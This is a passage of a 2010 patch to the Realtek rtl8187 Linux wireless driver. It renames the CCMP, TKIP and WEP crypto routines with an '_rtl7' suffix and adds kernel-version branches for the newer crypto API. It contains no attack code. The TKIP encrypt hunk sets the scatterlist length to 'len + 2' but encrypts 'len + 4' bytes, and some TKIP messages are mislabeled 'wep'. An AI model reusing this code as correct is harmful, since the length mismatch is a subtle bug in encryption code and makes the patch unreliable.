ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.h 2006-06-05 19:58:00.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_crypt.h 2010-05-19 22:18:51.936032580 -0700 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.c rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.c 2006-06-05 19:57:54.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_crypt_tkip.c 2010-05-19 22:23:00.716049971 -0700 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +//#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,23 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#else + sg_set_page(&sg, virt_to_page(pos), len + 2, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +416,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +428,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +476,30 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,33 +533,59 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[0].page = virt_to_page(hdr); sg[0].offset = offset_in_page(hdr); sg[0].length = 16; +#else + sg_set_page(&sg[0], virt_to_page(hdr), 16, offset_in_page(hdr)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[1].page = virt_to_page(data); sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#else + sg_set_page(&sg[1], virt_to_page(data), data_len, offset_in_page(data)); +#endif +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +615,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +627,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +665,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +681,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +689,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +698,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +716,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +732,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +777,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +807,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +834,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.c rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_crypt_wep.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.c 2006-06-05 19:57:54.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_crypt_wep.c 2010-05-19 22:23:15.121856118 -0700 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +//#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,25 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#else + sg_set_page(&sg, virt_to_page(pos), len + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < 